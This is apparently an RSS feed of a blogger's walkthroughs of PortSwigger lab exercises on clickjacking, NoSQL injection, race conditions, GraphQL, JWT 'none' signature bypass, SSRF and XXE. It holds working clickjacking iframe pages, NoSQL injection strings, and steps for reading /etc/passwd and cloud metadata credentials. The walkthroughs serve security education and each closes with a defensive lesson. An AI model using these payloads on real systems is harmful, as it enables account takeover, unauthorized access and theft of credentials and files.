<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by hana on Medium]]></title>
        <description><![CDATA[Stories by hana on Medium]]></description>
        <link>https://medium.com/@hanahelmispaces?source=rss-f450e46f2a8b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*BYO8nvMZibNGEMsq</url>
            <title>Stories by hana on Medium</title>
            <link>https://medium.com/@hanahelmispaces?source=rss-f450e46f2a8b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 12:47:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hanahelmispaces/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Write Up PortSwigger Lab : Clickjacking with form input data prefilled from a URL parameter]]></title>
            <link>https://medium.com/@hanahelmispaces/write-up-portswigger-lab-clickjacking-with-form-input-data-prefilled-from-a-url-parameter-47786c08e0be?source=rss-f450e46f2a8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/47786c08e0be</guid>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <dc:creator><![CDATA[hana]]></dc:creator>
            <pubDate>Tue, 23 Jun 2026 05:53:41 GMT</pubDate>
            <atom:updated>2026-06-23T05:53:41.158Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C-ERqcfO050ZiKTdRUTPnQ.png" /></figure><p>Clickjacking is an attack where the victim unknowingly clicks something that has already been set up by the attacker, where the attacker creates a trap page containing a “Click me” button and places the real target website inside it through a transparent iframe so the victim does not notice.</p><ol><li>Click My account and log in.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H2s1cP9W1erS2UdSRjUMjA.png" /></figure><p>First, we log in using the credentials (username &amp; password) provided by PortSwigger, wiener : peter. After successfully logging in, we are taken to the user account page.</p><p>2. Setting Up the Exploit on the Exploit Server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MLtMoZ7r0A_mF0nWAl1Tiw.png" /></figure><p>Next, we open the exploit server and paste the HTML template provided by PortSwigger into the body section. We take advantage of one weakness — /my-account can receive an email value from the URL, where in the iframe if we write /my-account?email=<a href="/service/mailto:hacker@evil.com">hacker@evil.com</a>, the email in the target form is already automatically filled with the attacker’s email as soon as the page loads without the victim typing anything.</p><pre>&lt;style&gt;<br>    iframe {<br>        position:relative;<br>        width:$width_value;<br>        height: $height_value;<br>        opacity: $opacity;<br>        z-index: 2;<br>    }<br>    div {<br>        position:absolute;<br>        top:$top_value;<br>        left:$side_value;<br>        z-index: 1;<br>    }<br>&lt;/style&gt;<br>&lt;div&gt;Test me&lt;/div&gt;<br>&lt;iframe src=&quot;YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com&quot;&gt;&lt;/iframe&gt;</pre><p>3.Lab Solved</p><p>After clicking Store and then Deliver exploit to victim, the lab is solved. The victim clicked “Click me” which was actually the “Update email” button hidden behind the transparent iframe, and their email was changed without them knowing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dTSBijracJFQ3PI3JNjYAg.png" /><figcaption>lab solved!</figcaption></figure><p>This attack worked because the victim had no idea they were actually clicking the “Update email” button — all they could see was the “Click me” button on top.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47786c08e0be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WriteUp PortSwigger Lab: Exploiting NoSQL operator injection to bypass authentication]]></title>
            <link>https://medium.com/@hanahelmispaces/writeup-portswigger-lab-exploiting-nosql-operator-injection-to-bypass-authentication-e670bb833b08?source=rss-f450e46f2a8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e670bb833b08</guid>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[hana]]></dc:creator>
            <pubDate>Mon, 22 Jun 2026 23:58:13 GMT</pubDate>
            <atom:updated>2026-06-22T23:58:13.695Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*r4v4mAZ05gPhi0mYZfa0EA.png" /></figure><p>In this lab, we can inject special MongoDB commands into the login form to manipulate how the database searches for user data. With the right command, we can log in as an administrator without needing to know the password at all.</p><p>Step 1 — Log In and Capture the Login Request</p><p>We log in using<strong> wiener : peter</strong> and send the <strong>POST /login</strong> request to Burp Repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tswK6oIHJng9bFFVT0JQLw.png" /></figure><p>Step 2 — Change the Paramater.</p><p>We change the username value to {“$regex”:”admin.*”} and the password value to {“$ne”:””}, then click Send. This tells the database to find any user whose username starts with &quot;admin&quot; and password which matches the administrator account without us needing to know the actual password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lnk6JsmWGHqDB3Pg_eOi1A.png" /></figure><p>Step 3 —Lab Solved</p><p>We open the response in the browser and we are logged in as the administrator. The lab is solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HRlf5cBV9wB5wNhEWhBlOg.png" /></figure><p>This attack worked because whatever we type in the login form gets sent directly to the database without being checked first. So we could replace the username and password with special commands that made the database point us straight to the administrator account</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e670bb833b08" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write Up PortSwigger Lab: Detecting NoSQL injection]]></title>
            <link>https://medium.com/@hanahelmispaces/write-up-portswigger-lab-detecting-nosql-injection-1c8a773ed3aa?source=rss-f450e46f2a8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c8a773ed3aa</guid>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[hana]]></dc:creator>
            <pubDate>Sun, 21 Jun 2026 05:07:36 GMT</pubDate>
            <atom:updated>2026-06-21T05:07:36.273Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*3s-IpFa5DGLCkkf1uxX_KA.png" /></figure><p>NoSQL injection is an attack where we slip extra characters or commands into the input that gets sent to the database. In this lab, the product category filter does not check the user’s input, so we can slip in a condition that forces the database to show all products — including unreleased ones that are not supposed to be visible to the public.</p><p>Step 1 — Find the Target Parameter</p><p>We open the shop and click on one of the category filters. In Burp, we find the <strong>GET /filter?category=gifts </strong>request and send it to Burp Repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*slddWkaap2aeZ1szNHSIKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2VnUX8ZmSiuXh4asRImBAQ.png" /></figure><p>Step 2 — Edit the request</p><p>We open the request in Burp Repeater, then change the category value to <strong>Gifts’||1|| </strong>and click Send. The response immediately shows all products including the unreleased ones.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nfjHtClfDcn5IPpR-IdKRA.png" /></figure><p>Step 4 — Lab Solved!</p><p>We open the response in the browser and can see the unreleased products now appearing on the page. The lab is solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kasQNLzPTP2IZlXgtW4gzw.png" /></figure><p>This attack worked because whatever we type in the category filter gets sent directly to the database without being checked first. So we just slipped in one small command, and the database immediately showed all the data that was never supposed to be visible.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c8a773ed3aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write Up PortSwigger Lab : Limit overrun race conditions]]></title>
            <link>https://medium.com/@hanahelmispaces/write-up-portswigger-lab-limit-overrun-race-conditions-04d4c9674f06?source=rss-f450e46f2a8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/04d4c9674f06</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[hana]]></dc:creator>
            <pubDate>Sun, 21 Jun 2026 04:23:30 GMT</pubDate>
            <atom:updated>2026-06-21T04:23:30.105Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OBbzVLb7LNhb18S2U_I5Gw.png" /></figure><p>A race condition happens when many requests are sent at the same time. Because the server is overwhelmed processing them, some checks can be skipped — for example, the server hasn’t had a chance to record that the discount code has already been used, but the next request has already come in. n this lab we exploit that to use the discount code PROMO20 multiple times, even though it should only be used once, until the price of the $1337.00 jacket drops drastically.</p><p>Step 1 — Log In and Add the Jacket to the Cart</p><p>We log in using <strong>wiener : peter</strong>. We add the Lightweight &quot;l33t&quot; Leather Jacket to the cart — priced at $1337.00</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hdiZ6sPLyfZBAEXk6QSg1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0gq_PM-xIihK7nxUEL9qrA.png" /></figure><p>Step 2 — Find the Coupon Request</p><p>We check the HTTP history in Burp and find the <strong>POST /cart/coupon </strong>request that gets sent when we apply a discount code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DjnpnfLsaLXBKjd3kDIZCQ.png" /></figure><p>Step 3 — Send the Requests All at Once</p><p>We send the request to Burp Repeater and duplicate it into a tab group. Then we send all the requests at the same time. The server processes them before it gets the chance to record that the coupon has already been used, so the discount gets applied multiple times.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fyzEGR3-vLtUnCoUtiylyA.png" /></figure><p>Step 4 — Lab Solved!</p><p>The discount was applied multiple times, bringing the total down to $15.40 — within our store credit. We place the order and the lab is solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mrJcXafc_0_WT7mKQVXJDA.png" /></figure><p>This attack worked because the server was caught off guard — it hadn’t recorded that the coupon was already used, but the next request had already come in. So there was a small gap that we could exploit. This proves that any feature with a usage limit needs to be able to handle many requests coming in at the same time, otherwise that limit can easily be bypassed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=04d4c9674f06" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write Up PortSwigger Lab : Accessing private GraphQL posts]]></title>
            <link>https://medium.com/@hanahelmispaces/write-up-portswigger-lab-accessing-private-graphql-posts-93050df01a45?source=rss-f450e46f2a8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/93050df01a45</guid>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[hana]]></dc:creator>
            <pubDate>Fri, 19 Jun 2026 09:58:04 GMT</pubDate>
            <atom:updated>2026-06-19T09:58:04.784Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2MZfyMEfHQt6nIcaIcXwWQ.png" /></figure><p>GraphQL is a way for a website to get data from the server, where we can pick exactly what data we want in one request. In this lab, one blog post was hidden from public view — the post with id 3 is missing from the list that’s normally shown.</p><p>Step 1 — Identify the GraphQL Query</p><p>We open the blog page and check the history in Burp. Each blog post is fetched using a GraphQL query sent to the <strong>POST /graphql/v1 </strong>endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MT25V4fRylKq4puxhZK-jQ.png" /></figure><p>Step 2 — Send an Introspection Query</p><p>We send the request to Burp Repeater, then use the introspection query feature to see all the fields available on the <strong>Blogspot </strong>type. From the result, we find a <strong>postPassword </strong>field that exists in the data structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4HdK48TyHlFNTe8_VNGINg.png" /></figure><p>We change the <strong>id </strong>ariable to <strong>3 </strong>and add the <strong>postPassword </strong>field to the query. After sending the request, the response returns the entire content of the hidden blog post, including the secret password inside the <strong>postPassword </strong>field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0aKkdRiGOve0mCwRNgyPYg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QC7FFetG6sjpgYthyByxVg.png" /></figure><p>Step 4 — Lab Solved!</p><p>We copy that password and submit it as the lab solution. The lab is solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*ATrzC9vXU_uH_FTSG-5cuw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgpJJBe6dE-2_BUKCO4KvQ.png" /></figure><p>This attack worked because the server didn’t limit what could be requested through GraphQL, so hidden data like the password could still be accessed just by writing the right query.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93050df01a45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write Up PortSwigger Lab : JWT authentication bypass via flawed signature verification.]]></title>
            <link>https://medium.com/@hanahelmispaces/write-up-portswigger-lab-jwt-authentication-bypass-via-flawed-signature-verification-b73febdff2c5?source=rss-f450e46f2a8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b73febdff2c5</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[hana]]></dc:creator>
            <pubDate>Fri, 19 Jun 2026 09:54:50 GMT</pubDate>
            <atom:updated>2026-06-19T09:54:50.081Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*30XCvG5xVDFdJsc-BbXdWg.png" /></figure><p>JWT (JSON Web Token) is a token used by websites to mark that a user is logged in. The token consists of three parts — header, payload, and signature — where the signature makes sure the token cannot be tampered with by the user. In this lab, the server is misconfigured because it accepts tokens with the none algorithm, meaning no signature is required at all.</p><p>Step 1 — Log In and Capture the Request</p><p>We log in using the credentials wiener:peter. After logging in, we check the history in Burp and find the GET /my-account request, which carries a session cookie in the form of a JWT. We send this request to Burp Repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nPoqpmMxCf6rOmlUyrqyOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sFsEjHLMCPRToMgN9xnqGg.png" /></figure><p>Step 2 — Check the Contents of the Token</p><p>In the JSON Web Token tab in the Inspector, we can see the contents of the token’s payload. There is a <strong>sub </strong>claim containing <strong>weiner</strong> — this determines the identity of the logged-in user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eu03QkRm9uvfXv1MZYTFkw.png" /></figure><p>Step 3 — Change the Payload and the Algorithm</p><p>We change the value of <strong>sub </strong>from <strong>wiener </strong>to <strong>administrator</strong>, then click Apply changes. Next, we change the value of <strong>alg </strong>in the header from its original algorithm to <strong>none</strong>, then click Apply changes again. After that, we remove the signature part of the token, but keep the trailing dot after the payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9PbNY3jJ1bCF6nAzDYp2wg.png" /></figure><p>Step 4 — Access the Admin Page</p><p>We change the path of the request to <strong>/admin </strong>and send it. The response shows that we have successfully accessed the admin panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1h2VPBM1u1C_YC42vKzAQA.png" /></figure><p>Step 5 — Delete the User Carlos</p><p>From the HTML of the admin page, we find the link to delete the user <strong>carlos</strong>, which is <strong>/admin/delete?username=carlos</strong>. We send a request to that endpoint using the same token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OtfFB344OfAX9f6zuAjHsQ.png" /></figure><p>Step 6 — Lab Solved.</p><p>The lab is solved. We successfully logged in as administrator and deleted the user carlos, just by modifying the token without a valid signature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FLNCG__AeZv2kBvaL3e4nA.png" /></figure><p>This attack worked because the server accepted the token without verifying its signature at all once the algorithm was changed to none. This shows that token verification must be done correctly on the server side, because otherwise anyone can change their own identity just by editing the contents of the token.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b73febdff2c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write Up PortSwigger Lab : Basic SSRF against the local server]]></title>
            <link>https://medium.com/@hanahelmispaces/write-up-portswigger-lab-basic-ssrf-against-the-local-server-ce9a1ab20b58?source=rss-f450e46f2a8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce9a1ab20b58</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <dc:creator><![CDATA[hana]]></dc:creator>
            <pubDate>Thu, 18 Jun 2026 02:17:51 GMT</pubDate>
            <atom:updated>2026-06-18T02:17:51.758Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ccRKMH3ipb6Yk9KW_VW6MQ.png" /></figure><p>SSRF (Server-Side Request Forgery) is an attack where we force the server to send a request to an address that we choose ourselves. In this lab, the “Check stock” feature fetches data by sending a request to a URL that we control through the <strong>stockApi </strong>parameter.</p><p>Step 1 — Open a Product Page and Intercept the Request</p><p>We open one of the product pages and click “Check stock”. Burp Suite captures the POST request sent to <strong>/product/stock</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YZiGzzZNNHHkLC3A18-H6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iVm8mhEYqXeMEvAu8ftxfg.png" /></figure><p>Step 2 — Change the URL in the stockApi Parameter</p><p>We send the request to Burp Repeater, then change the value of<strong> stockApi</strong> to <strong>http://localhost/Admin</strong>. After clicking Send, the response shows the internal admin page — including a list of users and a link to delete a user, one of which is <strong>carlos</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZIpRSXRDAEJjJYDBWb4iCA.png" /></figure><p>Step 3 — Delete the User Carlos</p><p>From the previous response, we get the URL to delete the user <strong>carlos</strong>, which is <strong>http://localhost/admin/delete?username=carlos</strong>. We put this URL into the <strong>stockApi </strong>parameter, then click Send.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ctP7l6m9XKVAkIeDqbAo5Q.png" /></figure><p>Step 4 — Lab Solved!</p><p>The lab is solved. The user <strong>carlos </strong>was successfully deleted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lbYIgYM2ab1_vE3aJb4RtQ.png" /></figure><p>This attack worked because the server allowed requests to go to any address without checking where they were headed. It shows that features which pull data from a URL need limits too, not just protection on the outside.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce9a1ab20b58" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write Up PortSwigger Lab : Exploiting XXE to perform SSRF attacks]]></title>
            <link>https://medium.com/@hanahelmispaces/write-up-portswigger-lab-exploiting-xxe-to-perform-ssrf-attacks-1297e5e2dd12?source=rss-f450e46f2a8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/1297e5e2dd12</guid>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[hana]]></dc:creator>
            <pubDate>Thu, 18 Jun 2026 02:16:46 GMT</pubDate>
            <atom:updated>2026-06-18T02:16:46.670Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ATKuUaKEdfVkOUm1DmLCdw.png" /></figure><p>SSRF (Server-Side Request Forgery) is an attack where we force the server to send a request to an address that we choose ourselves. In this lab, we combine the XXE vulnerability with SSRF — we take advantage of the “Check stock” feature that processes XML to make the server access an internal address that should not be reachable from the outside. From there, we can obtain the server’s secret credentials.</p><p>Step 1 — Open a Product Page and Intercept the Request</p><p>We open one of the product pages and click “Check stock”. Burp Suite captures the POST request sent to /product/stock.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MSqwqMuPZHiM-1JZP_a4qQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DxeK0vY63dI5VvjTxq4bGg.png" /></figure><p>Step 2 — Open the Repeater in Burp Suite</p><p>We send the request to Burp Repeater, replace productId with a command that points to the EC2 metadata endpoint, then click Send.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uIbg-6qKCubzXh0cW8wNww.png" /></figure><p>Step 3 — Lab Solved !</p><p>The lab is solved. We successfully obtained the server’s secret credentials by chaining an XXE vulnerability with an SSRF attack on the internal metadata endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*08YxA39t3XdzcXPBZI-G5g.png" /></figure><p>This attack worked because the server trusted the XML input without restricting where the entity could point to. As a result, we could make the server fetch data from an internal address that should not be reachable from outside. This shows that even a service not directly connected to the internet can still be compromised if another vulnerability gives a way to reach it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1297e5e2dd12" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write Up PortSwigger Lab : Clickjacking with a frame buster script.]]></title>
            <link>https://medium.com/@hanahelmispaces/write-up-portswigger-lab-clickjacking-with-a-frame-buster-script-e19908bfc9ed?source=rss-f450e46f2a8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e19908bfc9ed</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <dc:creator><![CDATA[hana]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 10:07:12 GMT</pubDate>
            <atom:updated>2026-06-16T10:07:12.502Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4pfuQOyaxVi-vHEHSIUmDg.png" /></figure><p>Clickjacking is an attack where the victim unknowingly clicks something that has already been set up by the attacker. The attacker creates a trap page with a “Click me” button, then places the real target website inside a transparent iframe on top of it so the victim cannot see it. The goal is for the victim to click “Click me”, when in reality they are clicking the “Update email” button hidden underneath. In this lab, there is an extra challenge — the target website has a frame buster script that prevents its page from being placed inside an iframe. To get around this, we add a sandbox = “allow-forms” attribute to the iframe, which turns off the JavaScript on the target website including the frame buster script, but still allows the form to be submitted.</p><ol><li>Log in to the Target Website</li></ol><p>Log in using the credentials provided by the lab, which are wiener:peter. After logging in, we are taken to the My Account page which has an &quot;Update email&quot; form — this is our target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*no6JsZQS76jFQ4wLQmKn3Q.png" /><figcaption>halaman lab setelah login menggunakan wiener : peter.</figcaption></figure><p>2. Click Go to Exploit Server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XGjb3go8329hssAfx1y8Ag.png" /><figcaption>bentukan halaman exploit server.</figcaption></figure><p>we open the exploit server and paste the HTML template into the Body section. Notice the iframe tag — we add a sandbox=&quot;allow-forms&quot; attribute which is the key to bypassing the frame buster script on the target website.</p><pre>&lt;style&gt;<br>    iframe {<br>        position:relative;<br>        width:$width_value;<br>        height: $height_value;<br>        opacity: $opacity;<br>        z-index: 2;<br>    }<br>    div {<br>        position:absolute;<br>        top:$top_value;<br>        left:$side_value;<br>        z-index: 1;<br>    }<br>&lt;/style&gt;<br>&lt;div&gt;Test me&lt;/div&gt;<br>&lt;iframe sandbox=&quot;allow-forms&quot;<br>src=&quot;YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com&quot;&gt;&lt;/iframe&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7v9HNfyHWOTCvMRVbdCX6Q.png" /></figure><p>3. Finalisasi exploit</p><p>After clicking Store and then View exploit, we can see the semi-transparent iframe showing the /my-account page with the email field already filled with hacker@evil.com. This is where the alignment process happens — we need to make sure the &quot;Test me&quot; button is sitting exactly on top of the &quot;Update email&quot; button underneath. We do this by adjusting the top and left values until the position is right.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qmMXmj3L3EjydqRSjzXeBg.png" /></figure><pre>&lt;style&gt;<br>    iframe {<br>        position:relative;<br>        width:500px;<br>        height: 700px;<br>        opacity: 0.0001;<br>        z-index: 2;<br>    }<br>    div {<br>        position:absolute;<br>        top:480px;<br>        left:80px;<br>        z-index: 1;<br>    }<br>&lt;/style&gt;<br>&lt;div&gt;Click me&lt;/div&gt;<br>&lt;iframe sandbox=&quot;allow-forms&quot;<br>src=&quot;https://0a98008f04dbdfdd83ea8cc9003e0005.web-security-academy.net/my-account?email=hacker@evil.com&quot;&gt;&lt;/iframe&gt;</pre><p>4. Lab solved!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zZNJFegWPcSTHRNuBk07Vw.png" /></figure><p>One small attribute — sandbox= “ allow-forms” — was enough to shut down the frame buster script. This shows that protection which relies only on JavaScript is not enough, because JavaScript can be turned off from the outside without ever touching the target website&#39;s code.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e19908bfc9ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write Up PortSwigger Lab : Exploiting XXE using external entities to retrieve files]]></title>
            <link>https://medium.com/@hanahelmispaces/write-up-portswigger-lab-exploiting-xxe-using-external-entities-to-retrieve-files-d943f4e9034e?source=rss-f450e46f2a8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d943f4e9034e</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[portswigger-academy-labs]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[hana]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 10:06:05 GMT</pubDate>
            <atom:updated>2026-06-16T10:06:05.556Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*14bcOJOWLwyTIYtx2zfbEQ.png" /></figure><p>XXE (XML External Entity) is an attack where we can force the server to read files that we are not supposed to have access to. In this lab, when we click “Check stock”, the website sends data to the server in XML format. Because the server does not check the data we send, we can slip a command inside it to make the server open and display the contents of the /etc/passwd file.</p><ol><li>Open the product page.</li></ol><p>First, we open one of the product pages and click “Check stock”. Burp Suite captures the POST request sent to /product/stock.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*71_I4M5W0uKpXFpQg3jYGQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xL55FV0QKhM6SsWUlwXfiw.png" /></figure><p>2. Modify in Repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ONhagr0vzMku21rEmSa6rw.png" /></figure><p>We send the request to Burp Repeater, then modify the XML by inserting an external entity definition and replacing the <strong>productId</strong> value with a reference to that entity:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*z4FoPZDqJfTqAe8eBzWftg.png" /></figure><p>After clicking Send, the response returns the contents of the /etc/passwd file from the server — containing a list of users on the target Linux system.</p><p>3. Lab Solved.</p><p>The lab is solved. The server read the /etc/passwd file and returned its contents in the response because there was no filter in place to stop external entities from being processed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JOfBuwzcv4pTLQr6GEO7yQ.png" /></figure><p>This attack succeeded because the server directly processed the XML data we sent without checking it first. In fact, by simply inserting a single line of command within that data, we were already able to make the server open any file stored within it. This proves that any data sent by the user to the server, including XML, must still be properly validated and filtered.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d943f4e9034e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>